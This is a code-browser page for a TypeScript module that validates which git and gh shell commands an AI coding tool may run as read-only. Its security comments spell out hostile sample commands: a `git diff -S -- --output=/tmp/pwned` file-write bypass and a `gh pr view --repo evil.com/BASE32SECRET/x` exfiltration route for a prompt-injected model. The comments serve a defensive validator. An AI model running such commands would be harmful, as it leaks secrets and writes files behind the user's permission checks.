π File detail
utils/shell/readOnlyCommandValidation.ts
π― Use case
This file lives under βutils/β, which covers cross-cutting helpers (shell, tempfiles, settings, messages, process input, β¦). On the API surface it exposes FlagArgType, ExternalCommandConfig, GIT_READ_ONLY_COMMANDS, GH_READ_ONLY_COMMANDS, and DOCKER_READ_ONLY_COMMANDS (and more) β mainly types, interfaces, or factory objects. Dependencies touch -A20. It composes internal code from platform (relative imports). What the file header says: Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). Exports complete command configuration maps that any shell tool can import: - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks - GH_READ_ONLY_COMMANDS: ant-only gh CLI comman.
Generated from folder role, exports, dependency roots, and inline comments β not hand-reviewed for every path.
π§ Inline summary
Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). Exports complete command configuration maps that any shell tool can import: - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent) - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell - containsVulnerableUncPath: UNC path detection for credential leak prevention - outputLimits are in outputLimits.ts
π€ Exports (heuristic)
FlagArgTypeExternalCommandConfigGIT_READ_ONLY_COMMANDSGH_READ_ONLY_COMMANDSDOCKER_READ_ONLY_COMMANDSRIPGREP_READ_ONLY_COMMANDSPYRIGHT_READ_ONLY_COMMANDSEXTERNAL_READONLY_COMMANDScontainsVulnerableUncPathFLAG_PATTERNvalidateFlagArgumentvalidateFlags
π External import roots
Package roots from from "β¦" (relative paths omitted).
-A20
π₯οΈ Source preview
/**
* Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
*
* Exports complete command configuration maps that any shell tool can import:
* - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
* - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
* - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
* - containsVulnerableUncPath: UNC path detection for credential leak prevention
* - outputLimits are in outputLimits.ts
*/
import { getPlatform } from '../platform.js'
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export type FlagArgType =
| 'none' // No argument (--color, -n)
| 'number' // Integer argument (--context=3)
| 'string' // Any string argument (--relative=path)
| 'char' // Single character (delimiter)
| '{}' // Literal "{}" only
| 'EOF' // Literal "EOF" only
export type ExternalCommandConfig = {
safeFlags: Record<string, FlagArgType>
// Returns true if the command is dangerous, false if safe.
// args is the list of tokens AFTER the command name (e.g., after "git branch").
additionalCommandIsDangerousCallback?: (
rawCommand: string,
args: string[],
) => boolean
// When false, the tool does NOT respect POSIX `--` end-of-options.
// validateFlags will continue checking flags after `--` instead of breaking.
// Default: true (most tools respect `--`).
respectsDoubleDash?: boolean
}
// ---------------------------------------------------------------------------
// Shared git flag groups
// ---------------------------------------------------------------------------
const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = {
'--all': 'none',
'--branches': 'none',
'--tags': 'none',
'--remotes': 'none',
}
const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = {
'--since': 'string',
'--after': 'string',
'--until': 'string',
'--before': 'string',
}
const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = {
'--oneline': 'none',
'--graph': 'none',
'--decorate': 'none',
'--no-decorate': 'none',
'--date': 'string',
'--relative-date': 'none',
}
const GIT_COUNT_FLAGS: Record<string, FlagArgType> = {
'--max-count': 'number',
'-n': 'number',
}
// Stat output flags - used in git log, show, diff
const GIT_STAT_FLAGS: Record<string, FlagArgType> = {
'--stat': 'none',
'--numstat': 'none',
'--shortstat': 'none',
'--name-only': 'none',
'--name-status': 'none',
}
// Color output flags - used in git log, show, diff
const GIT_COLOR_FLAGS: Record<string, FlagArgType> = {
'--color': 'none',
'--no-color': 'none',
}
// Patch display flags - used in git log, show
const GIT_PATCH_FLAGS: Record<string, FlagArgType> = {
'--patch': 'none',
'-p': 'none',
'--no-patch': 'none',
'--no-ext-diff': 'none',
'-s': 'none',
}
// Author/committer filter flags - used in git log, reflog
const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = {
'--author': 'string',
'--committer': 'string',
'--grep': 'string',
}
// ---------------------------------------------------------------------------
// GIT_READ_ONLY_COMMANDS β complete map of all git subcommands
// ---------------------------------------------------------------------------
export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
'git diff': {
safeFlags: {
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
// Display and comparison flags
'--dirstat': 'none',
'--summary': 'none',
'--patch-with-stat': 'none',
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--color-words': 'none',
'--no-renames': 'none',
'--no-ext-diff': 'none',
'--check': 'none',
'--ws-error-highlight': 'string',
'--full-index': 'none',
'--binary': 'none',
'--abbrev': 'number',
'--break-rewrites': 'none',
'--find-renames': 'none',
'--find-copies': 'none',
'--find-copies-harder': 'none',
'--irreversible-delete': 'none',
'--diff-algorithm': 'string',
'--histogram': 'none',
'--patience': 'none',
'--minimal': 'none',
'--ignore-space-at-eol': 'none',
'--ignore-space-change': 'none',
'--ignore-all-space': 'none',
'--ignore-blank-lines': 'none',
'--inter-hunk-context': 'number',
'--function-context': 'none',
'--exit-code': 'none',
'--quiet': 'none',
'--cached': 'none',
'--staged': 'none',
'--pickaxe-regex': 'none',
'--pickaxe-all': 'none',
'--no-index': 'none',
'--relative': 'string',
// Diff filtering
'--diff-filter': 'string',
// Short flags
'-p': 'none',
'-u': 'none',
'-s': 'none',
'-M': 'none',
'-C': 'none',
'-B': 'none',
'-D': 'none',
'-l': 'none',
// SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
// pickaxe regex, orderfile). Previously 'none' caused a parser
// differential with git: `git diff -S -- --output=/tmp/pwned` β
// validator sees -S as no-arg β advances 1 token β breaks on `--` β
// --output unchecked. git sees -S requires arg β consumes `--` as the
// pickaxe string (standard getopt: required-arg options consume next
// argv unconditionally, BEFORE the top-level `--` check) β cursor at
// --output=... β parses as long option β ARBITRARY FILE WRITE.
// git log config at line ~207 correctly has -S/-G as 'string'.
'-S': 'string',
'-G': 'string',
'-O': 'string',
'-R': 'none',
},
},
'git log': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
// Additional display flags
'--abbrev-commit': 'none',
'--full-history': 'none',
'--dense': 'none',
'--sparse': 'none',
'--simplify-merges': 'none',
'--ancestry-path': 'none',
'--source': 'none',
'--first-parent': 'none',
'--merges': 'none',
'--no-merges': 'none',
'--reverse': 'none',
'--walk-reflogs': 'none',
'--skip': 'number',
'--max-age': 'number',
'--min-age': 'number',
'--no-min-parents': 'none',
'--no-max-parents': 'none',
'--follow': 'none',
// Commit traversal flags
'--no-walk': 'none',
'--left-right': 'none',
'--cherry-mark': 'none',
'--cherry-pick': 'none',
'--boundary': 'none',
// Ordering flags
'--topo-order': 'none',
'--date-order': 'none',
'--author-date-order': 'none',
// Format control
'--pretty': 'string',
'--format': 'string',
// Diff filtering
'--diff-filter': 'string',
// Pickaxe search (find commits that add/remove string)
'-S': 'string',
'-G': 'string',
'--pickaxe-regex': 'none',
'--pickaxe-all': 'none',
},
},
'git show': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
// Additional display flags
'--abbrev-commit': 'none',
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--color-words': 'none',
'--pretty': 'string',
'--format': 'string',
'--first-parent': 'none',
'--raw': 'none',
// Diff filtering
'--diff-filter': 'string',
// Short flags
'-m': 'none',
'--quiet': 'none',
},
},
'git shortlog': {
safeFlags: {
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
// Summary options
'-s': 'none',
'--summary': 'none',
'-n': 'none',
'--numbered': 'none',
'-e': 'none',
'--email': 'none',
'-c': 'none',
'--committer': 'none',
// Grouping
'--group': 'string',
// Formatting
'--format': 'string',
// Filtering
'--no-merges': 'none',
'--author': 'string',
},
},
'git reflog': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
},
// SECURITY: Block `git reflog expire` (positional subcommand) β it writes
// to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
// writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
// The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
// as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS β passes.
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Block known write-capable subcommands: expire, delete, exists.
// Allow: `show`, ref names (HEAD, refs/*, branch names).
// The subcommand (if any) is the first positional arg. Subsequent
// positionals after `show` or after flags are ref names (safe).
const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists'])
for (const token of args) {
if (!token || token.startsWith('-')) continue
// First non-flag positional: check if it's a dangerous subcommand.
// If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
if (DANGEROUS_SUBCOMMANDS.has(token)) {
return true // Dangerous subcommand β writes to .git/logs/**
}
// First positional is safe (show/HEAD/ref) β subsequent are ref args
return false
}
return false // No positional = bare `git reflog` = safe (shows reflog)
},
},
'git stash list': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_COUNT_FLAGS,
},
},
'git ls-remote': {
safeFlags: {
// Branch/tag filtering flags
'--branches': 'none',
'-b': 'none',
'--tags': 'none',
'-t': 'none',
'--heads': 'none',
'-h': 'none',
'--refs': 'none',
// Output control flags
'--quiet': 'none',
'-q': 'none',
'--exit-code': 'none',
'--get-url': 'none',
'--symref': 'none',
// Sorting flags
'--sort': 'string',
// Protocol flags
// SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
// transmit an arbitrary attacker-controlled string to the remote git
// server in the protocol v2 capability advertisement. This is a network
// WRITE primitive (sending data to remote) on what is supposed to be a
// read-only command. Even without command substitution (which is caught
// elsewhere), `--server-option="sensitive-data"` exfiltrates the value
// to whatever `origin` points to. The read-only path should never enable
// network writes.
},
},
'git status': {
safeFlags: {
// Output format flags
'--short': 'none',
'-s': 'none',
'--branch': 'none',
'-b': 'none',
'--porcelain': 'none',
'--long': 'none',
'--verbose': 'none',
'-v': 'none',
// Untracked files handling
'--untracked-files': 'string',
'-u': 'string',
// Ignore options
'--ignored': 'none',
'--ignore-submodules': 'string',
// Column display
'--column': 'none',
'--no-column': 'none',
// Ahead/behind info
'--ahead-behind': 'none',
'--no-ahead-behind': 'none',
// Rename detection
'--renames': 'none',
'--no-renames': 'none',
'--find-renames': 'string',
'-M': 'string',
},
},
'git blame': {
safeFlags: {
...GIT_COLOR_FLAGS,
// Line range
'-L': 'string',
// Output format
'--porcelain': 'none',
'-p': 'none',
'--line-porcelain': 'none',
'--incremental': 'none',
'--root': 'none',
'--show-stats': 'none',
'--show-name': 'none',
'--show-number': 'none',
'-n': 'none',
'--show-email': 'none',
'-e': 'none',
'-f': 'none',
// Date formatting
'--date': 'string',
// Ignore whitespace
'-w': 'none',
// Ignore revisions
'--ignore-rev': 'string',
'--ignore-revs-file': 'string',
// Move/copy detection
'-M': 'none',
'-C': 'none',
'--score-debug': 'none',
// Abbreviation
'--abbrev': 'number',
// Other options
'-s': 'none',
'-l': 'none',
'-t': 'none',
},
},
'git ls-files': {
safeFlags: {
// File selection
'--cached': 'none',
'-c': 'none',
'--deleted': 'none',
'-d': 'none',
'--modified': 'none',
'-m': 'none',
'--others': 'none',
'-o': 'none',
'--ignored': 'none',
'-i': 'none',
'--stage': 'none',
'-s': 'none',
'--killed': 'none',
'-k': 'none',
'--unmerged': 'none',
'-u': 'none',
// Output format
'--directory': 'none',
'--no-empty-directory': 'none',
'--eol': 'none',
'--full-name': 'none',
'--abbrev': 'number',
'--debug': 'none',
'-z': 'none',
'-t': 'none',
'-v': 'none',
'-f': 'none',
// Exclude patterns
'--exclude': 'string',
'-x': 'string',
'--exclude-from': 'string',
'-X': 'string',
'--exclude-per-directory': 'string',
'--exclude-standard': 'none',
// Error handling
'--error-unmatch': 'none',
// Recursion
'--recurse-submodules': 'none',
},
},
'git config --get': {
safeFlags: {
// No additional flags needed - just reading config values
'--local': 'none',
'--global': 'none',
'--system': 'none',
'--worktree': 'none',
'--default': 'string',
'--type': 'string',
'--bool': 'none',
'--int': 'none',
'--bool-or-int': 'none',
'--path': 'none',
'--expiry-date': 'none',
'-z': 'none',
'--null': 'none',
'--name-only': 'none',
'--show-origin': 'none',
'--show-scope': 'none',
},
},
// NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
'git remote show': {
safeFlags: {
'-n': 'none',
},
// Only allow optional -n, then one alphanumeric remote name
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Filter out the known safe flag
const positional = args.filter(a => a !== '-n')
// Must have exactly one positional arg that looks like a remote name
if (positional.length !== 1) return true
return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!)
},
},
'git remote': {
safeFlags: {
'-v': 'none',
'--verbose': 'none',
},
// Only allow bare 'git remote' or 'git remote -v/--verbose'
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// All args must be known safe flags; no positional args allowed
return args.some(a => a !== '-v' && a !== '--verbose')
},
},
// git merge-base is a read-only command for finding common ancestors
'git merge-base': {
safeFlags: {
'--is-ancestor': 'none', // Check if first commit is ancestor of second
'--fork-point': 'none', // Find fork point
'--octopus': 'none', // Find best common ancestors for multiple refs
'--independent': 'none', // Filter independent refs
'--all': 'none', // Output all merge bases
},
},
// git rev-parse is a pure read command β resolves refs to SHAs, queries repo paths
'git rev-parse': {
safeFlags: {
// SHA resolution and verification
'--verify': 'none', // Verify that exactly one argument is a valid object name
'--short': 'string', // Abbreviate output (optional length via =N)
'--abbrev-ref': 'none', // Symbolic name of ref
'--symbolic': 'none', // Output symbolic names
'--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
// Repository path queries (all read-only)
'--show-toplevel': 'none', // Absolute path of top-level directory
'--show-cdup': 'none', // Path components to traverse up to top-level
'--show-prefix': 'none', // Relative path from top-level to cwd
'--git-dir': 'none', // Path to .git directory
'--git-common-dir': 'none', // Path to common directory (.git in main worktree)
'--absolute-git-dir': 'none', // Absolute path to .git directory
'--show-superproject-working-tree': 'none', // Superproject root (if submodule)
// Boolean queries
'--is-inside-work-tree': 'none',
'--is-inside-git-dir': 'none',
'--is-bare-repository': 'none',
'--is-shallow-repository': 'none',
'--is-shallow-update': 'none',
'--path-prefix': 'none',
},
},
// git rev-list is read-only commit enumeration β lists/counts commits reachable from refs
'git rev-list': {
safeFlags: {
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
// Counting
'--count': 'none', // Output commit count instead of listing
// Traversal control
'--reverse': 'none',
'--first-parent': 'none',
'--ancestry-path': 'none',
'--merges': 'none',
'--no-merges': 'none',
'--min-parents': 'number',
'--max-parents': 'number',
'--no-min-parents': 'none',
'--no-max-parents': 'none',
'--skip': 'number',
'--max-age': 'number',
'--min-age': 'number',
'--walk-reflogs': 'none',
// Output formatting
'--oneline': 'none',
'--abbrev-commit': 'none',
'--pretty': 'string',
'--format': 'string',
'--abbrev': 'number',
'--full-history': 'none',
'--dense': 'none',
'--sparse': 'none',
'--source': 'none',
'--graph': 'none',
},
},
// git describe is read-only β describes commits relative to the most recent tag
'git describe': {
safeFlags: {
// Tag selection
'--tags': 'none', // Consider all tags, not just annotated
'--match': 'string', // Only consider tags matching the glob pattern
'--exclude': 'string', // Do not consider tags matching the glob pattern
// Output control
'--long': 'none', // Always output long format (tag-distance-ghash)
'--abbrev': 'number', // Abbreviate objectname to N hex digits
'--always': 'none', // Show uniquely abbreviated object as fallback
'--contains': 'none', // Find tag that comes after the commit
'--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
'--exact-match': 'none', // Only output if an exact match (tag points at commit)
'--candidates': 'number', // Limit walk before selecting best candidates
// Suffix/dirty markers
'--dirty': 'none', // Append "-dirty" if working tree has modifications
'--broken': 'none', // Append "-broken" if repository is in invalid state
},
},
// git cat-file is read-only object inspection β displays type, size, or content of objects
// NOTE: --batch (without --check) is intentionally excluded β it reads arbitrary objects
// from stdin which could be exploited in piped commands to dump sensitive objects.
'git cat-file': {
safeFlags: {
// Object query modes (all purely read-only)
'-t': 'none', // Print type of object
'-s': 'none', // Print size of object
'-p': 'none', // Pretty-print object contents
'-e': 'none', // Exit with zero if object exists, non-zero otherwise
// Batch mode β read-only check variant only
'--batch-check': 'none', // For each object on stdin, print type and size (no content)
// Output control
'--allow-undetermined-type': 'none',
},
},
// git for-each-ref is read-only ref iteration β lists refs with optional formatting and filtering
'git for-each-ref': {
safeFlags: {
// Output formatting
'--format': 'string', // Format string using %(fieldname) placeholders
// Sorting
'--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
// Limiting
'--count': 'number', // Limit output to at most N refs
// Filtering
'--contains': 'string', // Only list refs that contain specified commit
'--no-contains': 'string', // Only list refs that do NOT contain specified commit
'--merged': 'string', // Only list refs reachable from specified commit
'--no-merged': 'string', // Only list refs NOT reachable from specified commit
'--points-at': 'string', // Only list refs pointing at specified object
},
},
// git grep is read-only β searches tracked files for patterns
'git grep': {
safeFlags: {
// Pattern matching modes
'-e': 'string', // Pattern
'-E': 'none', // Extended regexp
'--extended-regexp': 'none',
'-G': 'none', // Basic regexp (default)
'--basic-regexp': 'none',
'-F': 'none', // Fixed strings
'--fixed-strings': 'none',
'-P': 'none', // Perl regexp
'--perl-regexp': 'none',
// Match control
'-i': 'none', // Ignore case
'--ignore-case': 'none',
'-v': 'none', // Invert match
'--invert-match': 'none',
'-w': 'none', // Word regexp
'--word-regexp': 'none',
// Output control
'-n': 'none', // Line number
'--line-number': 'none',
'-c': 'none', // Count
'--count': 'none',
'-l': 'none', // Files with matches
'--files-with-matches': 'none',
'-L': 'none', // Files without match
'--files-without-match': 'none',
'-h': 'none', // No filename
'-H': 'none', // With filename
'--heading': 'none',
'--break': 'none',
'--full-name': 'none',
'--color': 'none',
'--no-color': 'none',
'-o': 'none', // Only matching
'--only-matching': 'none',
// Context
'-A': 'number', // After context
'--after-context': 'number',
'-B': 'number', // Before context
'--before-context': 'number',
'-C': 'number', // Context
'--context': 'number',
// Boolean operators for multi-pattern
'--and': 'none',
'--or': 'none',
'--not': 'none',
// Scope control
'--max-depth': 'number',
'--untracked': 'none',
'--no-index': 'none',
'--recurse-submodules': 'none',
'--cached': 'none',
// Threads
'--threads': 'number',
// Quiet
'-q': 'none',
'--quiet': 'none',
},
},
// git stash show is read-only β displays diff of a stash entry
'git stash show': {
safeFlags: {
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
// Diff options
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--diff-filter': 'string',
'--abbrev': 'number',
},
},
// git worktree list is read-only β lists linked working trees
'git worktree list': {
safeFlags: {
'--porcelain': 'none',
'-v': 'none',
'--verbose': 'none',
'--expire': 'string',
},
},
'git tag': {
safeFlags: {
// List mode flags
'-l': 'none',
'--list': 'none',
'-n': 'number',
'--contains': 'string',
'--no-contains': 'string',
'--merged': 'string',
'--no-merged': 'string',
'--sort': 'string',
'--format': 'string',
'--points-at': 'string',
'--column': 'none',
'--no-column': 'none',
'-i': 'none',
'--ignore-case': 'none',
},
// SECURITY: Block tag creation via positional arguments. `git tag foo`
// creates .git/refs/tags/foo (41-byte file write) β NOT read-only.
// This is identical semantics to `git branch foo` (which has the same
// callback below). Without this callback, validateFlags's default
// positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
// and git tag auto-approves. While the write is constrained (path limited
// to .git/refs/tags/, content is fixed HEAD SHA), it violates the
// read-only invariant and can pollute CI/CD tag-pattern matching or make
// abandoned commits reachable via `git tag foo <commit>`.
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
// `git tag --contains <ref>` (list containing). A bare positional arg
// without -l/--list is a tag name to CREATE β dangerous.
const flagsWithArgs = new Set([
'--contains',
'--no-contains',
'--merged',
'--no-merged',
'--points-at',
'--sort',
'--format',
'-n',
])
let i = 0
let seenListFlag = false
let seenDashDash = false
while (i < args.length) {
const token = args[i]
if (!token) {
i++
continue
}
// `--` ends flag parsing. All subsequent tokens are positional args,
// even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
if (token === '--' && !seenDashDash) {
seenDashDash = true
i++
continue
}
if (!seenDashDash && token.startsWith('-')) {
// Check for -l/--list (exact or in a bundle). `-li` bundles -l and
// -i β both 'none' type. Array.includes('-l') exact-matches, missing
// bundles like `-li`, `-il`. Check individual chars for short bundles.
if (token === '--list' || token === '-l') {
seenListFlag = true
} else if (
token[0] === '-' &&
token[1] !== '-' &&
token.length > 2 &&
!token.includes('=') &&
token.slice(1).includes('l')
) {
// Short-flag bundle like -li, -il containing 'l'
seenListFlag = true
}
if (token.includes('=')) {
i++
} else if (flagsWithArgs.has(token)) {
i += 2
} else {
i++
}
} else {
// Non-flag positional arg (or post-`--` positional). Safe only if
// preceded by -l/--list (then it's a pattern, not a tag name).
if (!seenListFlag) {
return true // Positional arg without --list = tag creation
}
i++
}
}
return false
},
},
'git branch': {
safeFlags: {
// List mode flags
'-l': 'none',
'--list': 'none',
'-a': 'none',
'--all': 'none',
'-r': 'none',
'--remotes': 'none',
'-v': 'none',
'-vv': 'none',
'--verbose': 'none',
// Display options
'--color': 'none',
'--no-color': 'none',
'--column': 'none',
'--no-column': 'none',
// SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
// (attached form, safe). The DETACHED form `--abbrev N` is the bug:
// git uses PARSE_OPT_OPTARG (optional-attached only) β detached N becomes
// a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
// with 'number' consumes N, but the CALLBACK below catches it: --abbrev
// is NOT in callback's flagsWithArgs (removed), so callback sees N as a
// positional without list flag β dangerous. Two-layer defense: validate-
// Flags accepts both forms, callback blocks detached.
'--abbrev': 'number',
'--no-abbrev': 'none',
// Filtering - these take commit/ref arguments
'--contains': 'string',
'--no-contains': 'string',
'--merged': 'none', // Optional commit argument - handled in callback
'--no-merged': 'none', // Optional commit argument - handled in callback
'--points-at': 'string',
// Sorting
'--sort': 'string',
// Note: --format is intentionally excluded as it could pose security risks
// Show current
'--show-current': 'none',
'-i': 'none',
'--ignore-case': 'none',
},
// Block branch creation via positional arguments (e.g., "git branch newbranch")
// Flag validation is handled by safeFlags above
// args is tokens after "git branch"
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
// Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
// or "git branch --contains/--merged/etc <ref>" (filtering)
// Flags that require an argument
const flagsWithArgs = new Set([
'--contains',
'--no-contains',
'--points-at',
'--sort',
// --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
])
// Flags with optional arguments (don't require, but can take one)
const flagsWithOptionalArgs = new Set(['--merged', '--no-merged'])
let i = 0
let lastFlag = ''
let seenListFlag = false
let seenDashDash = false
while (i < args.length) {
const token = args[i]
if (!token) {
i++
continue
}
// `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
if (token === '--' && !seenDashDash) {
seenDashDash = true
lastFlag = ''
i++
continue
}
if (!seenDashDash && token.startsWith('-')) {
// Check for -l/--list including short-flag bundles (-li, -la, etc.)
if (token === '--list' || token === '-l') {
seenListFlag = true
} else if (
token[0] === '-' &&
token[1] !== '-' &&
token.length > 2 &&
!token.includes('=') &&
token.slice(1).includes('l')
) {
seenListFlag = true
}
if (token.includes('=')) {
lastFlag = token.split('=')[0] || ''
i++
} else if (flagsWithArgs.has(token)) {
lastFlag = token
i += 2
} else {
lastFlag = token
i++
}
} else {
// Non-flag argument (or post-`--` positional) - could be:
// 1. A branch name (dangerous - creates a branch)
// 2. A pattern after --list/-l (safe)
// 3. An optional argument after --merged/--no-merged (safe)
const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag)
if (!seenListFlag && !lastFlagHasOptionalArg) {
return true // Positional arg without --list or filtering flag = branch creation
}
i++
}
}
return false
},
},
}
// ---------------------------------------------------------------------------
// GH_READ_ONLY_COMMANDS β ant-only gh CLI commands (network-dependent)
// ---------------------------------------------------------------------------
// SECURITY: Shared callback for all gh commands to prevent network exfil.
// gh's repo argument accepts `[HOST/]OWNER/REPO` β when HOST is present
// (3 segments), gh connects to that host's API. A prompt-injected model can
// encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
// gh pr view 1 --repo evil.com/BASE32SECRET/x
// β GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
// gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
//
// git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
// callback provides the equivalent for gh. Rejects:
// - Any token with 2+ slashes (HOST/OWNER/REPO format β normal is OWNER/REPO)
// - Any token with `://` (URL)
// - Any token with `@` (SSH-style)
// This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
// the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean {
for (const token of args) {
if (!token) continue
// For flag tokens, extract the VALUE after `=` for inspection. Without this,
// `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
// entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
// to `--flag val`; we must inspect both forms.
let value = token
if (token.startsWith('-')) {
const eqIdx = token.indexOf('=')
if (eqIdx === -1) continue // flag without inline value, nothing to inspect
value = token.slice(eqIdx + 1)
if (!value) continue
}
// Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
if (
!value.includes('/') &&
!value.includes('://') &&
!value.includes('@')
) {
continue
}
// URL schemes: https://, http://, git://, ssh://
if (value.includes('://')) {
return true
}
// SSH-style: git@host:owner/repo
if (value.includes('@')) {
return true
}
// 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
// Count slashes: 2+ slashes means 3+ segments
const slashCount = (value.match(/\//g) || []).length
if (slashCount >= 2) {
return true
}
}
return false
}
export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
// gh pr view is read-only β displays pull request details
'gh pr view': {
safeFlags: {
'--json': 'string', // JSON field selection
'--comments': 'none', // Show comments
'--repo': 'string', // Target repository (OWNER/REPO)
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr list is read-only β lists pull requests
'gh pr list': {
safeFlags: {
'--state': 'string', // open, closed, merged, all
'-s': 'string',
'--author': 'string',
'--assignee': 'string',
'--label': 'string',
'--limit': 'number',
'-L': 'number',
'--base': 'string',
'--head': 'string',
'--search': 'string',
'--json': 'string',
'--draft': 'none',
'--app': 'string',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr diff is read-only β shows pull request diff
'gh pr diff': {
safeFlags: {
'--color': 'string',
'--name-only': 'none',
'--patch': 'none',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr checks is read-only β shows CI status checks
'gh pr checks': {
safeFlags: {
'--watch': 'none',
'--required': 'none',
'--fail-fast': 'none',
'--json': 'string',
'--interval': 'number',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue view is read-only β displays issue details
'gh issue view': {
safeFlags: {
'--json': 'string',
'--comments': 'none',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue list is read-only β lists issues
'gh issue list': {
safeFlags: {
'--state': 'string',
'-s': 'string',
'--assignee': 'string',
'--author': 'string',
'--label': 'string',
'--limit': 'number',
'-L': 'number',
'--milestone': 'string',
'--search': 'string',
'--json': 'string',
'--app': 'string',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh repo view is read-only β displays repository details
// NOTE: gh repo view uses a positional argument, not --repo/-R flags
'gh repo view': {
safeFlags: {
'--json': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh run list is read-only β lists workflow runs
'gh run list': {
safeFlags: {
'--branch': 'string', // Filter by branch
'-b': 'string',
'--status': 'string', // Filter by status
'-s': 'string',
'--workflow': 'string', // Filter by workflow
'-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
'--limit': 'number', // Max results
'-L': 'number',
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
'--event': 'string', // Filter by event type
'-e': 'string',
'--user': 'string', // Filter by user
'-u': 'string',
'--created': 'string', // Filter by creation date
'--commit': 'string', // Filter by commit SHA
'-c': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh run view is read-only β displays a workflow run's details
'gh run view': {
safeFlags: {
'--log': 'none', // Show full run log
